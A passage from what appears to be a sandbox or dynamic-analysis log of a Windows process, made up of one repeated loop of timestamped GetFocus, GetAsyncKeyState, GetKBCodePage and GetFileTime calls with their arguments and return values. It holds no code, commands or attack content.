lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.973] GetFocus () returned 0x0 [0226.973] GetAsyncKeyState (vKey=58) returned 0 [0226.973] GetKBCodePage () returned 0x1b5 [0226.973] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.973] GetFocus () returned 0x0 [0226.973] GetAsyncKeyState (vKey=58) returned 0 [0226.973] GetKBCodePage () returned 0x1b5 [0226.973] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.973] GetFocus () returned 0x0 [0226.973] GetAsyncKeyState (vKey=58) returned 0 [0226.973] GetKBCodePage () returned 0x1b5 [0226.973] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.973] GetFocus () returned 0x0 [0226.973] GetAsyncKeyState (vKey=58) returned 0 [0226.973] GetKBCodePage () returned 0x1b5 [0226.973] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.973] GetFocus () returned 0x0 [0226.973] GetAsyncKeyState (vKey=58) returned 0 [0226.973] GetKBCodePage () returned 0x1b5 [0226.973] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.973] GetFocus () returned 0x0 [0226.973] GetAsyncKeyState (vKey=58) returned 0 [0226.973] GetKBCodePage () returned 0x1b5 [0226.973] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.973] GetFocus () returned 0x0 [0226.973] GetAsyncKeyState (vKey=58) returned 0 [0226.973] GetKBCodePage () returned 0x1b5 [0226.973] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.973] GetFocus () returned 0x0 [0226.973] GetAsyncKeyState (vKey=58) returned 0 [0226.973] GetKBCodePage () returned 0x1b5 [0226.973] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.973] GetFocus () returned 0x0 [0226.973] GetAsyncKeyState (vKey=58) returned 0 [0226.974] GetKBCodePage () returned 0x1b5 [0226.974] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.974] GetFocus () returned 0x0 [0226.974] GetAsyncKeyState (vKey=58) returned 0 [0226.974] GetKBCodePage () returned 0x1b5 [0226.974] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.974] GetFocus () returned 0x0 [0226.974] GetAsyncKeyState (vKey=58) returned 0 [0226.974] GetKBCodePage () returned 0x1b5 [0226.974] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.974] GetFocus () returned 0x0 [0226.974] GetAsyncKeyState (vKey=58) returned 0 [0226.974] GetKBCodePage () returned 0x1b5 [0226.974] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.974] GetFocus () returned 0x0 [0226.974] GetAsyncKeyState (vKey=58) returned 0 [0226.974] GetKBCodePage () returned 0x1b5 [0226.974] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.974] GetFocus () returned 0x0 [0226.974] GetAsyncKeyState (vKey=58) returned 0 [0226.974] GetKBCodePage () returned 0x1b5 [0226.974] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.974] GetFocus () returned 0x0 [0226.974] GetAsyncKeyState (vKey=58) returned 0 [0226.974] GetKBCodePage () returned 0x1b5 [0226.974] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.974] GetFocus () returned 0x0 [0226.974] GetAsyncKeyState (vKey=58) returned 0 [0226.974] GetKBCodePage () returned 0x1b5 [0226.974] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.974] GetFocus () returned 0x0 [0226.974] GetAsyncKeyState (vKey=58) returned 0 [0226.974] GetKBCodePage () returned 0x1b5 [0226.974] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.975] GetFocus () returned 0x0 [0226.975] GetAsyncKeyState (vKey=58) returned 0 [0226.975] GetKBCodePage () returned 0x1b5 [0226.975] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.975] GetFocus () returned 0x0 [0226.975] GetAsyncKeyState (vKey=58) returned 0 [0226.975] GetKBCodePage () returned 0x1b5 [0226.975] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.975] GetFocus () returned 0x0 [0226.975] GetAsyncKeyState (vKey=58) returned 0 [0226.975] GetKBCodePage () returned 0x1b5 [0226.975] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.975] GetFocus () returned 0x0 [0226.975] GetAsyncKeyState (vKey=58) returned 0 [0226.975] GetKBCodePage () returned 0x1b5 [0226.975] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.975] GetFocus () returned 0x0 [0226.975] GetAsyncKeyState (vKey=58) returned 0 [0226.975] GetKBCodePage () returned 0x1b5 [0226.975] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.975] GetFocus () returned 0x0 [0226.975] GetAsyncKeyState (vKey=58) returned 0 [0226.975] GetKBCodePage () returned 0x1b5 [0226.975] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.975] GetFocus () returned 0x0 [0226.975] GetAsyncKeyState (vKey=58) returned 0 [0226.975] GetKBCodePage () returned 0x1b5 [0226.975] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.975] GetFocus () returned 0x0 [0226.975] GetAsyncKeyState (vKey=58) returned 0 [0226.975] GetKBCodePage () returned 0x1b5 [0226.975] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.975] GetFocus () returned 0x0 [0226.975] GetAsyncKeyState (vKey=58) returned 0 [0226.976] GetKBCodePage () returned 0x1b5 [0226.976] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.976] GetFocus () returned 0x0 [0226.976] GetAsyncKeyState (vKey=58) returned 0 [0226.976] GetKBCodePage () returned 0x1b5 [0226.976] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.976] GetFocus () returned 0x0 [0226.976] GetAsyncKeyState (vKey=58) returned 0 [0226.976] GetKBCodePage () returned 0x1b5 [0226.976] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.976] GetFocus () returned 0x0 [0226.976] GetAsyncKeyState (vKey=58) returned 0 [0226.976] GetKBCodePage () returned 0x1b5 [0226.976] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.976] GetFocus () returned 0x0 [0226.976] GetAsyncKeyState (vKey=58) returned 0 [0226.976] GetKBCodePage () returned 0x1b5 [0226.976] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.976] GetFocus () returned 0x0 [0226.976] GetAsyncKeyState (vKey=58) returned 0 [0226.976] GetKBCodePage () returned 0x1b5 [0226.976] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.976] GetFocus () returned 0x0 [0226.976] GetAsyncKeyState (vKey=58) returned 0 [0226.976] GetKBCodePage () returned 0x1b5 [0226.976] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.976] GetFocus () returned 0x0 [0226.976] GetAsyncKeyState (vKey=58) returned 0 [0226.976] GetKBCodePage () returned 0x1b5 [0226.976] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.976] GetFocus () returned 0x0 [0226.976] GetAsyncKeyState (vKey=58) returned 0 [0226.976] GetKBCodePage () returned 0x1b5 [0226.976] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.977] GetFocus () returned 0x0 [0226.977] GetAsyncKeyState (vKey=58) returned 0 [0226.977] GetKBCodePage () returned 0x1b5 [0226.977] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.977] GetFocus () returned 0x0 [0227.093] GetAsyncKeyState (vKey=58) returned 0 [0227.093] GetKBCodePage () returned 0x1b5 [0227.093] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0227.093] GetFocus () returned 0x0 [0227.093] GetAsyncKeyState (vKey=58) returned 0 [0227.093] GetKBCodePage () returned 0x1b5 [0227.093] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0227.093] GetFocus () returned 0x0 [0227.093] GetAsyncKeyState (vKey=58) returned 0 [0227.093] GetKBCodePage () returned 0x1b5 [0227.093] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0227.093] GetFocus () returned 0x0 [0227.093] GetAsyncKeyState (vKey=58) returned 0 [0227.093] GetKBCodePage () returned 0x1b5 [0227.093] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0227.093] GetFocus () returned 0x0 [0227.093] GetAsyncKeyState (vKey=58) returned 0 [0227.093] GetKBCodePage () returned 0x1b5 [0227.093] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0227.093] GetFocus () returned 0x0 [0227.093] GetAsyncKeyState (vKey=58) returned 0 [0227.093] GetKBCodePage () returned 0x1b5 [0227.093] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0227.093] GetFocus () returned 0x0 [0227.093] GetAsyncKeyState (vKey=58) returned 0 [0227.093] GetKBCodePage () returned 0x1b5 [0227.094] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0227.094] GetFocus () returned 0x0 [0227.094] GetAsyncKeyState (vKey=58) returned 0 [0227.094] GetKBCodePage () returned 0x1b5 [0227.094] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0227.094] GetFocus () returned 0x0 [0227.094] GetAsyncKeyState (vKey=58) returned 0 [0227.094] GetKBCodePage () returned 0x1b5 [0227.094] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0227.094] GetFocus () returned 0x0 [0227.094] GetAsyncKeyState (vKey=58) returned 0 [0227.094] GetKBCodePage () returned 0x1b5 [0227.094] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0227.094] GetFocus () returned 0x0 [0227.094] GetAsyncKeyState (vKey=58) returned 0 [0227.094] GetKBCodePage () returned 0x1b5 [0227.094] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0227.094] GetFocus () returned 0x0 [0227.094] GetAsyncKeyState (vKey=58) returned 0 [0227.094] GetKBCodePage () returned 0x1b5 [0227.094] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0227.094] GetFocus () returned 0x0 [0227.094] GetAsyncKeyState (vKey=58) returned 0 [0227.094] GetKBCodePage () returned 0x1b5 [0227.094] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0227.094] GetFocus () returned 0x0 [0227.094] GetAsyncKeyState (vKey=58) returned 0 [0227.094] GetKBCodePage () returned 0x1b5 [0227.094] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0227.094] GetFocus () returned 0x0 [0227.094] GetAsyncKeyState (vKey=58) returned 0 [0227.094] GetKBCodePage () returned 0x1b5 [0227.094] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0227.095] GetFocus () returned 0x0 [0227.095] GetAsyncKeyState (vKey=58) returned 0 [0227.095] GetKBCodePage () returned 0x1b5 [0227.095] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0227.095] GetFocus () returned 0x0 [0227.095] GetAsyncKeyState (vKey=58) returned 0 [0227.095] GetKBCodePage () returned 0x1b5 [0227.095] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, 